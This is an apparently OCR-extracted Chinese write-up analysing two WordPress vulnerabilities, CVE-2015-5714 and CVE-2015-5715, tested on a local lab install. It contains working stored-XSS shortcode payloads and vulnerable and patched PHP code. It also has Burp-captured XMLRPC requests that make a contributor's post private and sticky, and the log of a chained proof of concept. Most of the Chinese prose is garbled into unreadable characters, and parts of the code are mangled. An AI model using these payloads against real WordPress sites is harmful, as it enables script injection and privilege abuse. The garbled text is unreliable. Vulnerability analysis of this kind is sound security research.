WordPress Vulnerability Analysis
(CVE-2015-5714 & CVE-2015-5715)
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1. "KSES" 5 E il g £ R S EH) XSS

HAEREBEEEWMARE. WordPress TEREXENRN A FFEAER (shorcodes) kFRERE (BhF, #iE%) .
WordPress FiFf B T B&BEYLHIEITIE HTML #4735, REERBEMNENRE, TATFHER, FESERTHE
AN "KSES" EHMFLT FEIXLE HTML $r%5. XEFEWAMNZ, WordPress X HTML FRZE I NFAILE L £ EBERE
BABIRER, MEBNRITERLEERATRLIINEN, TEEHREAGFRA—TAMNMMESENZES:

REXEBANRTA:

TEST!!![caption width="1" caption="<a href="" ">]</a><a>xxxxxx</a>

FHEANAREETRAFESEAREMNA HTML #7%5, MfER [caption] (caption@EiZLH) HAEZHE
"KSES" @ MMARE, REREATEIR AN ERETESBIERN:

<p>TEST!!!l<figure style="width: 1px;" class="wp-caption alignnone"><figcaption class="wp-
caption-text"><a href="</figcaption></figure></a><a>xxxxxx</a></p>

HF7E "KSES" IIEMA Rk HTML #7558, XNERBHRHTIEN, XEBEHEMELL KEY=VALUE HFEHH
W, AES|IS ' HEWSS " BFEE value , AILE
TEST!!![caption width="1" caption='<a href="' ">]</a><a>xxxxxx</a> XEABH, &

caption AFEMEM, 25H4:

width: 1

caption: <a href="

MEEHIH <a href=""' ">]</a><a>xxxxxx</a> XHNIEEH HTML FFZHEER, BEHRSHE "KSES"
SR EERE. RRAEMAKERN, & caption WERAT, FEREMN <a> REH href BUEXRFAS
BIES

FItF AR ERENZER, TEELHAF R payload FZEL XSS:

TEST!!![caption width="1" caption='<a href=""' ">]</a><a href="http://onMouseOver="alert(1l

)'">Click me</a>

¥ LM payload fEAXERELT, HIMERERMNERN:
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class="wp-caption alignnone"><figcaption class="wp-
caption-text"><a href="</figcaption></figure></a><a href="http://onMouseOver="alert(1)'">
Click me</a></p>

<p>TEST!!!l<figure style="width: 1px;'

BMENRBENGRPBITE <a> FREFLS, href BUHEN
</figcaption></figure></a><a href= , il http:// HFNFTL(NHWERS
onMouseOver="alert(1l) B/ UWiF, Eitt— onmouseover BM#EITHR, LK XSS.

C A [ 172.16.96.130/xampp/wordpress-4.3.0/ w H =
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IERRITIE
WordPress5g4: % 2 /5 <,
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Q [ |Elements | Network Sources Timeline Profiles Resources Audits Console Cookies o1>_ | ¥ O X
» <IEAUET LLass= ENUNy=IEaUET </ IEauer >
<!— .entry-header -—> Styles Computed Event Listeners »
v<div class="entry-content">
::before wre
<p>TEST!!!</p> element.style {
v<figure style="width: 1px;" class="wp-caption alignnone"> }
v cfigcantion cl u tignatoyi i " 172.16.96.130,
_n i i 3 —n . —n won 5 media="all" .16.96. /
:a)gre:- </figcaption></figure></a><a href=" http: onmouseover="alert(1)" ">Click me</a> l @media screen and style.css?ver=a.3:4056
fP Pt_ (min-width: 59.6875em)
</figcaption> .entry-content, style.css?ver=4.3:4474
f{flgure> .entry-summary {
:iafter padding: >0 10% 10%;
}

BTG
_html body #page #content #primary #main #post—l

%A (CVE-2015-5714) 247t WordPress %k 4.3.1 H{&E, Ak patch SO FALL, 4%
wp-includes/shortcodes.php HIAY shortcodeparseatts() EREIH

--- wp-includes/shortcodes.php
+++ wp-includes/shortcodes.php
@@ -462,6 +462,15 @@
elseif (isset($m[8]1))
$atts[] = stripcslashes($m[8]1);

// Reject any unclosed HTML elements
foreach( $atts as &$value ) {
if ( false !== strpos( $value, '<' ) ) {
if ( 1 !'== preg_match( "/A[A<I*+(?:<[A>]*4+>[A<]*+)*+$/", $value ) ) {

(]

$value = '';

+
+
+
+
+
+
+
+
+

1
} else {
$atts = ltrim($text);

FAMAAEERE, TETEGEEEEFHIANAAES HTML 5rEHE. FEBTEBEER wp_kses() REHT
THIE, BERBENABTHES (RBALF wp-includes/media.php ) :



--- wp-includes/media.php

+++ wp-includes/media.php

@@ -863,6 +863,8 @@
$content = $matches[1];
$attr['caption'] = trim( $matches[2] );

3
+ } elseif ( strpos( $attr['caption'], '<' ) !== false ) {
$attr['caption'] = wp_kses( $attr['caption'], 'post' );
3

XA SRPREFI A L E AT "KSES" SRS AT Rl R AR E = BINMIE L REBBHEFT XSS B HTML #7355 T

2. R EIE iR FEMARE

Check Point TEXEHITIRE T B—PNHIIRE (5 part! HENARE) , AIMESREAXELHNERN A @Y
XMLRPC #1EE B XERBMEEA private , FHFAEHEEN (WordPress 4.3.0iRAFHERKREBE, KIRFH
MABXERTER) -

HWAHRIEALTF XMLRPC CEHRBEIED, B R /wp-includes/class-wp-xmlrpc-server.php (5042-
5327) Efh R BRBAT:

public function mw_editPost( $args ) {
$this->escape( $args );

$post_ID (int) $args[0];

$username $args[1]; // }Ar'

$password $args[2];

$content_struct = $args[3]; g ,
$publish isset( $args[4] ) ? $args[4] -

C... 58
if ( isset( $content_struct["{$post_type}_status"] )

) {
switch(C $content_struct["{$post_type}_status"] ) {

case 'draft':

case 'pending':
case 'private':
case 'publish':
$post_status = $content_struct["{$post_type}_status"]; // FIREHEE
ZRX A fpost, FTABAIZxmlLA post_status 2 71
break;
default:
$post_status = $publish ? 'publish' : 'draft';
break;

HARAEEFFBIEISHARIELHIA PR, NTERIERATZNXE, HEEEDEEHIXERTE R
post , FRIATEB{E $content struct["{$post type} status"] R, FKEHEIRZSEH
post_status HE.



C... 48
// BRPTAEBXELRHGR, “publish’
1l Cprivate’ HIIER
;g.xmlPP post_status Z#{EA private NFKLKRE
if ( ("publish' == $post_status) ) {
if C C 'page' == $post_type ) && ! current_user_can( 'publish_pages' ) ) {

return new IXR_Error( 401, __(C 'Sorry, you do not have the right to publi
sh this page.' ) );
} elseif (! current_user_can( 'publish_posts' ) ) {
return new IXR_Error( 401, __(C 'Sorry, you do not have the right to publi
sh this post.' ) );
3
3

B8, BFARIFHETHBEEHNCERE. 48T XMLRPC #TXSHIEN, B8L%H—BREHIE
B, SRERFEEEEXELHNR. BRIZRELI THXERETN LEREWERT (post_status ==
publish) , TI$H I EREE A RSHIERADEIORERITRE. BF ENHRRZ, BERITINER—
AMEEXELHRRNKSHEEAD 8 ABEHE RE FTHRE NOXENRLBETHIZEEEARE

( private ) , ILEXENIAIMFREN A BRER, SERANEELEGRNFE SN S

S EERANSEE, B XMLRPC BRI1EREXER, AJLUEERTEN, BEERBRA:

C... 8%

// BXEEM (4.3.0 RAETEERZZBBHNATLEEN)

// Only posts can be sticky

if ( $post_type == 'post' && isset( $content_struct['sticky'] ) ) {
$data = $newpost;

$datal'sticky'] = $content_struct['sticky'];
$data['post_type'] = 'post';
$error = $this->_toggle_sticky( $data, true );
if C $error ) {

return $error;

}

{B23% 65 1E WordPress 4.3.0 kR4 2253 7 IRE]:



private function _toggle_sticky( $post_data, $update = false ) {
$post_type = get_post_type_object( $post_datal['post_type'] );

// Private and password-protected posts cannot be stickied.
if C "private' === $post_data['post_status'] Il ! empty(C $post_data['post_passwor

d'l)){

U Sl S

// MRBEEMNXEARBRES, HEREHRER, TFEEN, HEMBUEZAMNE TR
// Error if the client tried to stick the post, otherwise, silently unstick.
if C ! empty( $post_datal['sticky'] ) ) {

return new IXR_Error(C 401, __(C 'Sorry, you cannot stick a private post.'

if C $update ) {
unstick_post( $post_data['ID'] );
}
} elseif ( isset( $post_data['sticky'] D) ) {
// MRFEZEMPLEARBRERES, HFERBHEZE, BAGHREEMXENNR, HAET &I

if C ! current_user_can( $post_type->cap->edit_others_posts ) ) {
return new IXR_Error( 401, __(C 'Sorry, you are not allowed to stick this

$sticky = wp_validate_boolean( $post_data['sticky'] );
if C $sticky ) {

stick_post( $post_data['ID'] );
} else {

unstick_post( $post_data['ID'] );

RZZE ENFABXEE LT EBBEY XMLRPC HiIEX ERIEH X EE M.
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BEE - THFREXEEREEPIRE:

 EERRE 0-017 (35117, &£ 0.0000 #. )

wp_posts WHERE post_author = 2 and post_status = 'pending'

) 8BS [ Editiniine ] [ 4338 ] [ #2847 SQL] [ &% PHP R3] [ I3 ]

exe® | 55 (25 4 s

+ ETR N N
id post_author post_content post_status post_type K% ID 7‘324
24 2 WiRAE pending post

RIEIRE_ E AT TARIZFI TS, #491E payload , KM FFEREXERSER A private

Burp Intruder Repeater Window Help

[Target I Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options T Alerts ]

mal

| Go Cancel < v > | v Target: http://172.16.96.130 \ﬂ |:J

Request Response

Raw | Params | Headers | Hex | XML Raw | Headers | Hex | XML

POST /xampp/wordpress-4.3.0/xmlrpc.php HTTP/1.1 A HTTP/1.1 200 OK A
Host: 172.16.96.130 » Date: Fri, 18 Sep 2015 17:32:33 GMT »
Content-Type: text/xml Server: Apache/2.4.16 (Win32) OpenSSL/1.0.lp PHP/5.5.28
Content-Length: 624 X-Powered-By: PHP/5.5.28
Connection: close
<methodCall> Content-Length: 414
<methodName>metaWeblog.editPost</methodName> Content-Type: text/xml; charset=UTF-8
<params>
<param><value><string>24</string></value></param> <?xml version="1.0" encoding="UTF-8"2>
<param><value><string>guest</string></value></param> <methodResponse>
<param><value><string>guest888</string></value></param> <fault>
<param> <value>
<value> <struct>
<struct> <member>
<member> <name>faultCode</name>
<name>post_status</name> <value><int>401</int></value>
<value><string>private</string></value> </member>
</member> <member>
<member> <name>faultString</name>
<name>sticky</name> <value><string>##k, BREBMAFENNE. </string></value>
<value><string>1</string></value> </member>
</member> </struct> N TR 5|
</struct> </value> FMR WordPress i< 794.3.0
</value> </fault> = Vat=F b = o1 B
</param> </methodResponse> {'%ET*A%KE{EE/%\EI%I@EE’ Jﬁﬁ
</params> B —
</methodCall> RRBINRM
= L
v v
? < + > Type a search term 0 matches ? < + > Type a search term 0 matches
Done 632 bytes | 311 millis

AUEFREGEERIRREMAEXELN, XEE WX FERAR WordPress 4.3.0 iz, ZiRAFHESREBETHE
XEEEBETRM G

RIEEEFE—TIENY XMLRPC R X E R EIRE P EHEZXXERE:

 EERRE 0-017 (34117, &£ 0.0000 #. )

SELECT id, post_author, post_content, post_status, post_type FROM wp_posts WHERE id=24

TERSDETAFAE ~ EREAHT [ Editinline ] [ 448 ] [ #2457 SQL] [ 4l PHP {75 ] [ Rl ]

exe® | g3 (25 4

id post_author post_content post status post_type
24 2 WRAE private post

HEEPXERSELZTANE, BREMEEEAN:



€« C A | [] 172.16.96.130/xampp/wordpress-4.3.0/ 7%

@) @ WordPress430 7 BEX B + Fg 147, admin [l Q

WordPress 4.3.0

X—“"WordPressiis

FARE : 1L
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EHXE
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prin-iREd
WordPress5g4: % e /E <R,
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HH-HEH  MRA7

HRBAPRINTEEXECERATMEREETEN A, HEEERAREIMENRAXE.
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TERAIEN—T LERRERR. HERB—HEA XSS payload §308, FIF 'KSES' 5B RRIENERER
BRI RIE AL BTEL XSS, X ENERE R

XSS LOL!!![caption width="1" caption="<a href=""' ">]</a><a href="http://onMouseOver="aler

t(/xss/)"' style='"display:block;position:absolute;top:Qpx;left:0px;margin-left:-1000px;mar
gin-top:-1000px;width:99999px;height:99999%px; ' "></a>

&« C A [] 172.16.96.130/xampp/wordpress-4.3.0/wp-admin/post-new.php I =
@/I\ A WordPress43.0 B + HE #4%, guest [l
BIREETR e
N = =
Ll BEHXE
s MIRFE LR #%
A3 EIZSEHE: hitp://172.16.96.130/xampp/wordpress-4.3.0/2015/09/19/ B iR/ | 4% | &Hxs prp—, P
5xE
? R ER
L AR &
® AFE: AF
b | 7| link | b-quote | del | ins || img | ul| ol |li| code | more || X% o=
& AER . —
XSS LOL!!![caption width="1" caption="<a href="' ">]</a><a BEEIRI R
& IR href="http://onMouseOver="alert(/xss/)"
O iz style="display:block;position:absolute;top:@px;left:@px;margin-left:-1000px;margin-
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e



SAIEFI A XMLRPC i &
EIREEARE

Burp Intruder Repeater Window Help

SRR ZMFEREZEM i,
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RER

[Target I Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options T Alerts ]

Eal

Cance

| Go
Request

Raw | Params | Headers | Hex | XML

| <+ > |v

Target: http://172.16.96.130 \ﬂ |£J

Response

Raw | Headers | Hex XML]

POST /xampp/wordpress-4.3.0/xmlrpc.php HTTP/1.1
Host: 172.16.96.130

Content-Type: text/xml

Content-Length: 624

<methodCall>
<methodName>metaWeblog.editPost</methodName>

<params>
<param><value><string>28</stfing></value></param>

<param><value><string>guest</string></value></param>
<param><value><string>guest888</string></value></param>
<param>
<value>
<struct>
<member>
<name>post_status</name>
<value><string>private</string></value>
</member>
<member>
<name>sticky</name>
<value><string>1</string></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

| 2|l < ||+ || > | |Typeasearchterm

Done

F A XMLRPC X E REMIMEN XL E

WERFER

HTTP/1.1 200 OK

: Date: Fri, 18 Sep 2015 17:57:23 GMT :
Server: Apache/2.4.16 (Win32) OpenSSL/1.0.lp PHP/5.5.28
X-Powered-By: PHP/5.5.28
Connection: close
Content-Length: 414
Content-Type: text/xml; charset=UTF-8
<?xml version="1.0" encoding="UTF-8"2>
<methodResponse>
<fault>
<value>
<struct>
<member>
<name>faultCode</name>
<value><int>401</int></value>
</member>
<member>
<name>faultString</name>
<value><string>#l#k, BREBRMENNLE. </string></value>
</member>
</struct>
</value>
</fault>
</methodResponse>
= -
v v
0 matches L2l <l +]|> Type a search term 0 matches

, ORI AEEER:

632 bytes | 306 millis

LAY [F)WordPress 43.0| R—AWo x |\

€« C M [} 172.16.96.130/xampp/wordpress-4.3.0/

% WordPress 4.3.0 B

547, guest [l

€
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BR..

EHXE
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WordPress5g4: % e (E «HEF,
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4. =ER 2]

172.16.96.130 LHIM R ER:
/Ixss/

THE

FAE: MR

XSS LOLI!

B 2015495198 ®Leave a comment ¢ Edit

[E# Check Point Fr & fafd «WordPressiRiE =3¢ > , RAILUKIE WordPress £ 4.2.2 A28 HR AR

B, BT
REFUHETRRETR |

i, TH—MNBRNER P T
MAFEZEEE—

SQL FE AL

XEMRESESQLIEA |,
%. BERK, MR WordPress 4.2.2 fRAT, XLREESEE

#2, EH7T all in one HJPoC,

"KSES" SR =R SE XSS

R
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KB PN TT B A PSR IBAR 7 R B HARIBR B o

ATIEE all in one HMIERLER, 1§ WordPress MIRIMEF A 4.2.2 frA, HEHAESHMTEAR
guest:guest888 , test:test888 , SAJFIZfT PoC:

[*] Fetched last valid post id: "115"

[*] 1st User: "guest" login [0K]

[*] 1st User: "guest" create quickdraft [0OK] (wpnonce: "dcb@aS5eed9")
[*] Start thread to process invalid post id

[*] 2st User: "test" login [0K]

[*] 2st User: "test" create quickdraft [0K] (wpnonce: "c67d@1d2f3")
[*] Move draft post to trash successful

[*] Trying to edit trash post with xss payload

[*] Edit xss payload to trash post successful

[+] Trying to change post status

[*] Change post id: "116" status successful

[*] Exploit with CVE-2015-5623 & CVE-2015-5714 & CVE-2015-5715 [0K]
(python2.7)= Wp ||

PoC RRxmINGE, EEAWONE, XEMNBEMHE R EENRE:
L C M [} 172.16.96.130/xampp/wordpress-4.2.2/ gl S |

» Wl

) @ WordPress4.22 B + Fi 4%, admin [l

WordPress 4.2.2

X—"WordPressiis

F,%%: Hello XSS!

XSS LOL!!! 172.16.96.130 LRIMT R
) wp-settings-2=mfold%3Do; wp-settings-
time-2=1442501004; wp-settings-

HR..

time-3=1442501857; wordpress_test_cookie=WP
+Cookie+check; wp-settings-1=editor%3Dtinymce;
EEXE wp-settings-time-1=1442600045

.
A, IlE

ERTL ¢ Edit

WordPress4e/: & 5 7E «ftt
F,REE >

5. B4
X B ARBAAARFAEX WordPress FRAZ B ANBIBIZIEAI 2

2 WordPress fEJ/LNELZMIRAFEE 7TIXLRE, BEFKHFMEF (<4.31) 1, ILFELELEBERED
RTRUFA. THZE 422 A, sEBF A "= " R ZNREHT—RIIMNIEERE.

XEEMEMAIBEERERIATCH, BHAREAAEARKIGENEAHREME .
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